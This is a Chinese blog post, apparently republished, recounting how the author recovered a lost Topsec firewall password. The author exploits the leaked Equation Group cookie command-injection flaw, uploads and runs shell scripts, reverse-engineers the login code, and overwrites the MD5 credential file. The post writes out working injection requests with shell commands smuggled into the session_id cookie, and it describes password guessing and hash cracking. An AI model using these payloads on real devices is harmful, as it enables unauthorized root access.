天融信防火墻密碼恢復手記

　　公司在用的一款天融信防火墻，密碼意外遺失，無法登陸管理平臺。雖然防火墻可以正常工作，但卻無法修改配置，不能根增加和刪除訪問列表中的IP地址，不能調整訪問策略。防火墻默認僅開通https web管理界面，未開啟telnet、ssh等其他管理通道。下面是學習啦小編跟大家分享的是天融信防火墻密碼恢復手記，歡迎大家來閱讀學習。

　　天融信防火墻密碼恢復手記

　　聯(lián)系天融信廠家尋求技術支持，被告知必須返廠更換芯片，費用大約在2000元左右(網上搜了一下，幾乎所有密碼遺失的客戶最終都只能選擇返廠)。公司用于該網絡聯(lián)網的僅此一臺防火墻設備，終端數量在500以上，無其他硬件備份方案。因用戶眾多，管理要求細致，防火墻配置非常復雜，保存的配置文件也不是最新的。若返廠維修的話，則無法找到完備的替代方案。

　　于是決定先自己想辦法，開啟密碼恢復之旅。Go!

　　猜測密碼，自動驗證

　　首先想到的是根據可能的密碼規(guī)則和常用組合，構造一個密碼字典，通過編寫簡單的python腳本進行登錄驗證。萬一不行的話，就窮舉來嘗試暴力破解。

　　可是開始跑腳本的時候發(fā)現(xiàn)想法實在太天真了，存在兩個致命的問題：

　　防火墻白天負荷過重，Web響應非常慢。有時候一個請求可能在半分鐘以上。

　　Web管理平臺有登錄次數限制，大約6次密碼錯誤以后，就會鎖定賬號一段時間。

　　在嘗試了幾十個最可能出現(xiàn)的密碼組合后，徹底放棄了這條捷徑。

　　看來偷懶是不成了，必須得動真格的。

　　搜尋漏洞，獲取控制權

　　nmap掃描發(fā)現(xiàn)防火墻只開通了https端口。不是專業(yè)的安全研究人員，只能在網上搜索該款防火墻的漏洞資料，不(suo)幸的是，還真發(fā)現(xiàn)了不少。

　　找到的第一篇文章 《看我如何在2小時內控制100+天融信安全設備的》 提到了Heartbleed漏洞，卻未對漏洞利用方式做過多解釋。需要更多學習資料，根據這個方向繼續(xù)搜索，又找到了一些文章：

　　NSA Equation Group泄露的天融信產品漏洞分析(一)

　　天融信率先發(fā)布BASH爆出高危漏洞規(guī)則庫

　　天融信防火墻openssl漏洞可能導致信息泄漏

　　天融信防火墻關于“方程式組織”漏洞處置公告

　　其中，NSA Equation Group那篇文章信息量最高，對漏洞的特征和產生的原因分析的非常透徹，利用方式也做了簡要說明。按照文章的提示，用Brup進行Eligible Candidate漏洞測試(打算用Postman，但因chrome的https證書問題放棄)，漏洞果然還在!

　　懷著激動的心情，嘗試了 ls -la />/www/htdocs/1、find / -type f>/www/htdocs/1 等指令，對防火墻文件系統(tǒng)的目錄結構進行初步了解，也看到了配置文件存放的位置。執(zhí)行cp /tos/conf/config>/www/htdocs/1，把配置文件down下來一看，果然是新鮮的味道。

　　啟動telnetd服務并嘗試連接，報錯，估計是沒有加特定啟動參數的緣故，沒做深入研究?？磥頃簳r還是只能通過https漏洞方式跑命令了。

　　隨著執(zhí)行命令次數越來越多，Brup構造請求的方式效率太低，于是寫了簡單的Python函數在IPython下面跑，終覺得靈活性不夠。最后決定采用HTTPie命令行的方式發(fā)送https請求(curl沒有httpie方便)，后續(xù)所有命令都通過這種方式交互。

　　1 $ http --verify=no https://x.x.x.x/cgi/maincgi.cgi 'cookie: session_id=x`ls -la /tmp>/www/htdocs/1`'

　　文件上傳，執(zhí)行腳本文件

　　之前都是一次請求執(zhí)行一條命令，效率太低，也存在諸多限制。最好的方式是上傳一個sh腳本在防火墻上執(zhí)行，這就需要以某種方式傳送文件到防火墻上去。

　　另一方面，根據漏洞名稱和Equation Group搜索到這篇文章：Equation Group泄露文件分析，才注意到這是國際頂尖黑客組織，也是NSA合作的方程式黑客組織(Equation Group)，被另一個名為“The ShadowBrokers”的黑客組織攻下了，珍藏的系列高級工具被打包分享。這可是個好東西!趕緊下載解密，找到ELCA的漏洞利用代碼，運行后卻發(fā)現(xiàn)沒有如逾期般的啟動nopen遠程管理軟件，原因未知，頗有些失望。不過在py源碼中看到了文件上傳的方式，其實就是利用了cgi文件上傳處理方式，它每次會在/tmp目錄下生成一個cgi*的臨時文件。ELCA利用代碼的流程是連續(xù)執(zhí)行多次指令，第一次 rm /tmp/cgi*清理tmp目錄，接著post上傳文件同時復制保存一份cp /t*/cg* /tmp/.a，再加執(zhí)行權限chmod +x /tmp/.a，最后執(zhí)行 /tmp/.a。

　　當然，代碼并沒有直接上傳一個可執(zhí)行文件，而是巧妙(恕見識少，我知道*nix下經常這樣干)的將需要的多個文件用tar打包后，附到sh腳本的最后。在sh腳本中用dd命令將tar包copy出來再解壓運行。下面是工具中stage.sh的部分代碼：

　　文件tar打包的Python代碼片段：

　　就我的需求而言，只是上傳腳本執(zhí)行，就不用做得那么復雜了。簡單的post我的sh腳本，同時執(zhí)行sh /tmp/cgi*。前提是我的sh腳本中都做了清理工作rm /tmp/cgi*。

　　1 http --verify=no -b -f POST https://x.x.x.x/cgi/maincgi.cgi 'Cookie: session_id=x`sh /t*/cg*`' a@test.sh; http --verify=no https://x.x.x.x/1

　　HTTPie可以用 uploadfilename@localfilename 的方式很方便的實現(xiàn)文件上傳。之所以兩條指令在一行是為了方便查看前一個腳本的輸出。

　　123456789101112 #!/bin/sh# 清除/tmp/cgi*，防止干擾下次運行rm -f /t*/cgi* echo =============================== >/www/htdocs/1date >>/www/htdocs/1 echo "***************" >>/www/htdocs/1cd /tmpps>>/www/htdocs/1netstat -nltp >>/www/htdocs/1ls -la /tos/etc /data/auth/db /tmp >>/www/htdocs/1

　　上面的示例腳本就可以一次進行多種操作，獲取進程信息、網絡連接情況、目錄文件等多種信息，大幅減少交互次數提高效率。

　　逆向分析，尋找密碼

　　做了很多準備工作，找到了比較便捷的腳本執(zhí)行方式。而且根據ps結果來看，指令是以root權限運行的。接下來要開始干正事了，tar cf /home/htdocs/1 / 打包文件系統(tǒng)，down下來準備逆向分析。因為web登錄入口指向maincgi.cgi，就從它開始。

　　逆向分析的過程相當繁雜、漫長、枯燥乏味，具有相當的挑戰(zhàn)性，所以需要堅定的毅力和不時涌現(xiàn)的靈感。無數次調整思路和方向，無數次尋找新的突破口。

　　我現(xiàn)在也記不清當初分析時的前因后果，就把一些分析的結果整理下，做一個簡單的分享。

　　入口 maincgi.cgi

　　maincgi.cgi 位于 /www/cgi/ 目錄下。用IDA進行逆向分析。

　　根據登錄form提交的 username 和 passwd 在string窗口搜索，x跟蹤調用情況分析，最終來到 000403D4 函數內。

　　下面是更容易理解的C偽代碼(我開始分析的時候沒找到可用的hexrays，這是事后撰寫此文時找到的。:-( 工欲善其事必先利其器啊!)：

　　可以看到，username和passwd參數都原封不動的傳入到login函數，想必沿著這個方向一定能找到密碼保存的地方。

　　跟進發(fā)現(xiàn)login是import函數，不在maincgi.cgi中實現(xiàn)。為了方便，我把lib和so目錄下所有文件的符號表都進行了分析，結果保存在一個文件中備查。

　　1 $ nm -D tos/lib/* tos/so/* > symbols.txt

　　很快發(fā)現(xiàn) login 函數在 /tos/so/libwebui_tools.so 中實現(xiàn)。

　　入了RPC的坑

　　本以為找到 libwebui_tools.so 中的login實現(xiàn)，一切皆可水落石出。誰料還是 too young, too naive。

　　根據export表很快定位到login函數的實現(xiàn)，開始是TLS連接127.0.0.1：4000，接著是一堆錯誤處理代碼。

　　其中有一個 gui_send_reqx 函數的調用參數 CFG_AUTH 引起了我的注意，猜測是一種自定義的類RPC實現(xiàn)。

　　唉，還是C偽代碼看得清楚啊!再次哭暈在廁所 :-(

　　既然不是通過本地.so調用，那只有知道到底是誰提供了這個rpc服務，才能找到接下來的路。

　　好用的netstat

　　好在我們有執(zhí)行代碼的權限，好在防火墻里面有netstat命令。執(zhí)行netstat -nltp >>/www/htdocs/1 得到下面的結果：

　　一目了然。原來服務是 tos_configd 提供的呀!被ELCA漏洞利用腳本誤導了，以為是只是一個命令行shell，之前跟過，但沒有細看。這不，還是要回頭找它。

　　百轉千回

　　tos_configd 分析過程并非一帆風順。

　　根據RPC傳遞的參數CFG_AUTH作為線索進行追蹤，看到RPC支持多個命令。當命令為CFG_AUTH時，將數字5寫到參數傳入的內存區(qū)域某個變量中。沒有其他更多的信息，看來只能根據caller向上一步步追了。

　　代碼回到rpc的消息處理thread中，經過逐步分析，定位到消息處理函數中。

　　跟進去，可以看到大致的處理流程。有一個switch過程，case 5后面就是CFG_AUTH的處理代碼。5就是前面第一個過程中設置的變量。topsec_manager_auth函數用于接管用戶密碼鑒權工作，它是一個import函數，按照前面的方法查到它在 /tos/so/libmanager.so 中實現(xiàn)。

　　勝利的曙光

　　libmanager的export表非常簡練，似乎每一個都讓人頗感興趣。

　　先看看我們的目標函數topsec_manager_auth：

　　信息量很大，到這里基本上就看到了勝利的曙光。

　　首先看到的是用戶名+密碼的MD5，然后傳入到 j_match_manager_name 函數中進行校驗。這不就是經典的用戶名密碼校驗過程嘛(未加salt)。

　　需要說明一下的是，上圖中看到的username參數名稱是我綜合各類分析得知內容后改名的，并不是想當然，更不是IDA智能更名。username+32是密碼明文，這也是在前面的分析過程中得出的結論。

　　跟進match_manager_name函數，并沒有立即發(fā)現(xiàn)直觀的密碼文件讀取過程。取而代之的是，內存中存在最多500個struct，其中包含了用戶名和MD5值，鑒權過程就是與其一一進行匹配比對。Local_db_dev_node是一個全局buffer，搞清楚它的數據來源就找到根源了。

　　按X查看Local_db_dev_node的reference，還真不少。

　　第一個read_dev_manager_file就很像，跟進去看一下。

　　Bingo!就是它了! /tos/etc/Tos_dev_manager_info 其實這個文件之前也注意到，不過沒曾想它居然保存了鑒權信息，而且是用戶名密碼拼接MD5這么簡單!

　　用hexdump查看之前下載的Tos_dev_manager_info進行驗證，大小104字節(jié)，與分析得到的struct大小完全一致。再看用戶名和密碼的位置，和分析Local_db_dev_node結構完全一致。

　　清除最后的障礙

　　終于找到密碼保存到文件了，三下五除二，自己設定一個密碼，計算MD5值，修改Tos_dev_manager_info對應的區(qū)域。文件上傳，覆蓋，重啟，等結果……

　　12 import hashlibprint(hashlib.md5('superman' + '111111').hexdigest())

　　幾分鐘后，設備起來了，趕緊試一下密碼，錯誤!!!

　　郁悶，怎么會呢?down下/tos/etc/Tos_dev_manager_info一看，還是老數據。看來是工作還沒到位。

　　想起 libmanager 不是有那么多可疑的函數嗎?挑感興趣的進去看看，比如write_memdata2flash：

　　對，就它了。一般網絡設備修改配置以后，不都還來一個 wr mem 嗎?估計 /data/auth/db/ 才是最終保存數據的地方，/tos/etc可能重啟的時候會重新copy覆蓋。

　　再重新上傳一次修改好的Tos_dev_manager_info文件，只不過這次同時覆蓋了幾個目錄下的文件。重啟，用設定的密碼登錄，搞定!!!

　　走過的彎路

　　當然，我分析過的文件遠不止上面這些，也不是按照本文的思路一步一步走下來，走了不少彎路。憑感覺，或為了尋找新線索，或漫無目的地毯式搜索。除了上面列舉的部分之外，還分析過其他幾個.so文件，跟蹤過上百個函數，多數與我需要的東西關系并不太大。

　　逆向分析就是這樣，不可能一帆風順，也沒有既定的方法和思路。就是要有一種執(zhí)著的精神，在不斷的嘗試、糾錯和總結過程中達到目的地。成功后那一刻豁然開朗的成就感一直是我所癡迷的。

　　關于MD5破解不得不說的事

　　既然知道了算法，也有了MD5數據，是不是可以真正的找回當初的密碼呢?

　　和第一步猜測密碼類似，用python按照一定規(guī)則，生成可能的密碼序列。調用hashlib.md5() 計算hash值與目標進行比對，結果跑了一天沒結果。

　　想著這種計算密集型的程序，在python和c之間切換太頻繁可能影響效率。又在網上找到一個 Fast MD5 hash implementation in x86 assembly 匯編實現(xiàn)的快速算法，并且根據實際需求做了一定的優(yōu)化。運行，依然無結果。

　　不甘心，再到網上搜索資料，發(fā)現(xiàn)人家都用GPU跑字典。好吧，我也找來一個 Hashcat，在 i5 8G內存 的iMac 上試跑，的確速度非?？?。然而，由于密碼長，計算量過大，最終也沒跑出結果，就此作罷。

　　現(xiàn)在想想，如果沒有密碼長度、規(guī)則等任何信息的話，光憑暴力破解一個非典型密碼，幾乎是 Mission Impossible。

　　搞定，收工

　　很久沒寫過長文，也沒發(fā)過技術類文章。上一次可能要追溯到2001年8月的時候，曾以打雞血似的飽滿激情寫過一篇軟件逆向習作。

　　此次防火墻密碼成功恢復，其漏洞功不可沒。對我而言，又重溫了一把當初年少時對技術的執(zhí)著。

　　最后，小結一下：

　　軟件逆向分析是個體力活。

　　工欲善其事必先利其器。

　　安全問題無時無刻不在。